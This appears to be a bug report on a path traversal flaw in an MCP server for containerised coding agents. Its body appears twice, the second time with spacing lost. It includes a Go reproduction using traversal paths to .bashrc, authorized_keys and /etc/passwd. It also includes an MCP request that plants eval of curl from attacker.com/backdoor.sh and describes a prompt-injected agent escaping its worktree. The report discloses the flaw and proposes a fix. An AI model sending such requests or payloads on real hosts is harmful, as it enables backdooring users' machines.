What happened?
Summary
exportEnvironmentFile joins a user-controlled target_file path with the worktree base using filepath.Join, then writes to the result. Go's filepath.Join cleans .. sequences but does not enforce a directory boundary. Inputs like ../../.bashrc resolve to a valid host path outside the worktree, and the function writes there without complaint.
No validation exists at any point between the MCP target_file parameter and the host filesystem write.
Affected code path
mcpserver/tools.go:777 target_file extracted, no validation
repository/repository.go:433 passed through UpdateFile
repository/git.go:337 passed through propagateFileToWorktree
repository/git.go:377 filepath.Join(worktreePath, filePath) -- no boundary check
repository/git.go:380 os.MkdirAll creates directories at the escaped path
repository/git.go:385 file written to the escaped path
Reproduction
filepath.Join("/home/user/.config/container-use/worktrees/env-abc", "../../.bashrc")
// returns: /home/user/.config/container-use/.bashrc
A prompt-injected agent calls environment_file_write with target_file: "../../../.bashrc". The file lands outside the worktree on the host filesystem.
Suggested fix
After the filepath.Join at line 377, verify the result stays within the worktree:
absoluteFilePath := filepath.Join(worktreePath, filePath)
rel, err := filepath.Rel(worktreePath, absoluteFilePath)
if err != nil || strings.HasPrefix(rel, "..") {
return fmt.Errorf("path traversal detected: %s resolves outside worktree", filePath)
}
Version
dev
commit: be3a094-dirty
built: 2026-02-23T12:37:45Z
Logs
Reproduction steps
Prerequisites
- container-use built from source (unmodified)
- Docker running (for Dagger engine)
- A git repository with at least one commit
Step 1: Verify filepath.Join behavior
Save this as pathtest.go and run it:
package main
import (
"fmt"
"path/filepath"
"strings"
)
func main() {
worktreePath := "/home/user/.config/container-use/worktrees/env-abc"
testPaths := []string{
"normal/file.txt",
"../../.bashrc",
"../../../.ssh/authorized_keys",
"../../../../etc/passwd",
}
for _, p := range testPaths {
abs := filepath.Join(worktreePath, p)
rel, _ := filepath.Rel(worktreePath, abs)
escapes := strings.HasPrefix(rel, "..")
fmt.Printf("Input: %-45s Result: %-60s Escapes: %v\n", p, abs, escapes)
}
}
Expected output shows paths escaping the worktree:
Input: normal/file.txt Result: /home/user/.config/container-use/worktrees/env-abc/normal/file.txt Escapes: false
Input: ../../.bashrc Result: /home/user/.config/container-use/.bashrc Escapes: true
Input: ../../../.ssh/authorized_keys Result: /home/user/.config/.ssh/authorized_keys Escapes: true
Input: ../../../../etc/passwd Result: /home/user/etc/passwd Escapes: true
Step 2: Full exploitation via MCP
This requires a running Dagger engine and an existing environment. Send this MCP request after creating an environment:
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "environment_file_write",
"arguments": {
"environment_source": "/path/to/repo",
"environment_id": "<existing-env-id>",
"target_file": "../../../.bashrc",
"contents": "# malicious content\neval \"$(curl http://attacker.com/backdoor.sh)\"\n"
}
},
"id": 1
}
The file will be written to a location outside the worktree on the host filesystem.
Vulnerable code path
mcpserver/tools.go:777 - target_file extracted from MCP request, no validation
mcpserver/tools.go:790 - passed to repo.UpdateFile()
repository/repository.go:433 - passed to propagateFileToWorktree()
repository/git.go:337 - passed to exportEnvironmentFile()
repository/git.go:377 - filepath.Join(worktreePath, filePath) produces path outside worktree
repository/git.go:380 - os.MkdirAll() creates directories at the traversed path
repository/git.go:385 - file is written to the traversed path on the host
What happened?
Summary
exportEnvironmentFilejoins a user-controlledtarget_filepath with the worktree base usingfilepath.Join, then writes to the result. Go'sfilepath.Joincleans..sequences but does not enforce a directory boundary. Inputs like../../.bashrcresolve to a valid host path outside the worktree, and the function writes there without complaint.No validation exists at any point between the MCP
target_fileparameter and the host filesystem write.Affected code path
Reproduction
A prompt-injected agent calls
environment_file_writewithtarget_file: "../../../.bashrc". The file lands outside the worktree on the host filesystem.Suggested fix
After the
filepath.Joinat line 377, verify the result stays within the worktree:Version
Logs
Reproduction steps
Prerequisites
Step 1: Verify filepath.Join behavior
Save this as
pathtest.goand run it:Expected output shows paths escaping the worktree:
Step 2: Full exploitation via MCP
This requires a running Dagger engine and an existing environment. Send this MCP request after creating an environment:
{ "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "environment_file_write", "arguments": { "environment_source": "/path/to/repo", "environment_id": "<existing-env-id>", "target_file": "../../../.bashrc", "contents": "# malicious content\neval \"$(curl http://attacker.com/backdoor.sh)\"\n" } }, "id": 1 }The file will be written to a location outside the worktree on the host filesystem.
Vulnerable code path
mcpserver/tools.go:777-target_fileextracted from MCP request, no validationmcpserver/tools.go:790- passed torepo.UpdateFile()repository/repository.go:433- passed topropagateFileToWorktree()repository/git.go:337- passed toexportEnvironmentFile()repository/git.go:377-filepath.Join(worktreePath, filePath)produces path outside worktreerepository/git.go:380-os.MkdirAll()creates directories at the traversed pathrepository/git.go:385- file is written to the traversed path on the host